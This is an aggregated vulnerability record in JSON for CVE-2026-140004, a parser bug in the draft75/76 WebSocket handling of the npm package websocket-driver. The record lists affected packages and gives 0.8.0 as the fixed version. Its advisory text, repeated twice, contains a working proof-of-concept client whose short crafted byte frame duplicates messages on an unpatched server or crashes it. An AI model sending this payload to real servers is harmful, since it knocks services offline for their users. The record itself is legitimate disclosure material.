{"id":"CVE-2026-140004","aliases":["AZL-117523","AZL-117611","CLSA-2026-1796199359","CLSA-2026-1796206185","DEBIAN-CVE-2026-140004","DHI-x57i-6lkn-dbu3-do5k","EUVD-2026-139727","GHSA-v36f-rjg3-3v46"],"status":"published","title":"websocket-driver: Message corruption and denial of service triggered by crafted client message","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00638,"percentile":0.52016,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-248","CWE-456"],"published":"2026-11-30T21:28:07Z","modified":"2026-12-04T16:30:11Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-140004","title":"googlesky/CVE-2026-140004","date":"2026-12-02","url":"https://github.com/googlesky/CVE-2026-140004"}],"fixes":[{"ecosystem":"npm","package":"websocket-driver","fixed_in":["0.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.5-tuxcare.0"},{"fixed":"0.7.5-tuxcare.3"}]}],"versions":["0.7.5","0.7.5-tuxcare.1","0.7.5-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.4-tuxcare.0"},{"fixed":"0.7.4-tuxcare.3"}]}],"versions":["0.7.4","0.7.4-tuxcare.1","0.7.4-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-0"}]}],"versions":["0.8.8-0","0.8.8-1","0.8.8-2","0.8.8-3","0.8.8-4","0.8.8-5","0.8.9-0","0.8.9-1","0.8.9-2","0.8.9-3","0.8.9-4"]},{"source":"osv","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]}],"products":[{"vendor":"faye","product":"websocket-driver-node"}],"references":[{"url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v36f-rjg3-3v46","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/faye/websocket-driver-node/commit/f9f657c823ff826dc4bccda4c603ee076c089bd7","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140004","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-v36f-rjg3-3v46","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140004.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140004","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-x57i-6lkn-dbu3-do5k","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140004","tags":["advisory"]},{"url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140004","tags":["advisory"]},{"url":"https://github.com/faye/websocket-driver-node","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-140004","title":"websocket-driver: Message corruption and denial of service triggered by crafted client message","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:28:07.852Z","modified":"2026-12-01T13:54:49.313Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-248","CWE-456"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T14:03:00.893686Z"}],"euvd":[{"id":"EUVD-2026-139727","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:28:07Z","modified":"2026-12-01T13:54:49Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-12-01T21:20:38.861932Z"}],"ghsa":[{"id":"GHSA-v36f-rjg3-3v46","title":"websocket-driver: Message corruption and denial of service triggered by crafted client message","description":"### Summary\n\nAn unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.\n\nTo mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) =\u003e {\n  let driver = ws.server()\n\n  driver.on('connect', () =\u003e {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () =\u003e conn.end())\n  conn.pipe(driver.io).pipe(conn)\n\n  driver.on('message', (msg) =\u003e console.log(msg.data))\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () =\u003e {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    '', ''\n  ].join('\\r\\n'))\n\n  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))\n  tcp.write(Buffer.from([0x80, 0x01, 0xff]))\n})\n```\n\nThis client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes.\n\nAfter upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.","status":"published","published":"2026-12-01T18:20:33Z","modified":"2026-12-01T18:20:34Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-248","CWE-456"],"updated_at":"2026-12-01T18:30:26.63192Z"}],"nvd":[{"id":"CVE-2026-140004","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29.97Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-248","CWE-456"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T14:20:25.638744Z"}],"osv":[{"id":"CVE-2026-140004","title":"websocket-driver: Message corruption and denial of service triggered by crafted client message","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:28:07.852Z","modified":"2026-12-02T20:45:48.297780337Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-248","CWE-456"],"updated_at":"2026-12-01T21:10:07.386688Z"},{"id":"DEBIAN-CVE-2026-140004","upstream":["CVE-2026-140004"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29.97Z","modified":"2026-12-03T08:00:16.67872797Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-12-03T08:14:48.000137Z"},{"id":"DHI-x57i-6lkn-dbu3-do5k","upstream":["CVE-2026-140004"],"title":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75…","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-12-01T21:53:49Z","modified":"2026-12-04T08:30:06.40725034Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-12-04T08:34:14.203759Z"},{"id":"GHSA-v36f-rjg3-3v46","title":"websocket-driver: Message corruption and denial of service triggered by crafted client message","description":"### Summary\n\nAn unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.\n\nTo mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) =\u003e {\n  let driver = ws.server()\n\n  driver.on('connect', () =\u003e {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () =\u003e conn.end())\n  conn.pipe(driver.io).pipe(conn)\n\n  driver.on('message', (msg) =\u003e console.log(msg.data))\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () =\u003e {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    '', ''\n  ].join('\\r\\n'))\n\n  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))\n  tcp.write(Buffer.from([0x80, 0x01, 0xff]))\n})\n```\n\nThis client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes.\n\nAfter upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.","status":"published","published":"2026-12-01T18:20:33Z","modified":"2026-12-01T18:30:04.116548136Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-248","CWE-456"],"updated_at":"2026-12-01T18:33:54.097771Z"},{"id":"AZL-117523","upstream":["CVE-2026-140004"],"title":"CVE-2026-140004 affecting package js-jquery 3.5.0-4","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29Z","modified":"2026-12-03T14:17:29.384287776Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"AZL-117611","upstream":["CVE-2026-140004"],"title":"CVE-2026-140004 affecting package python-tensorboard 2.16.2-6","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29Z","modified":"2026-12-03T14:17:43.44662773Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"CLSA-2026-1796199359","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.","status":"published","published":"2026-12-02T09:16:00Z","modified":"2026-12-04T08:15:19.204575687Z","updated_at":"2026-12-04T08:34:17.918856Z"},{"id":"CLSA-2026-1796206185","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.","status":"published","published":"2026-12-02T11:09:46Z","modified":"2026-12-04T16:30:11.574875224Z","updated_at":"2026-12-04T16:47:54.354282Z"}]}}
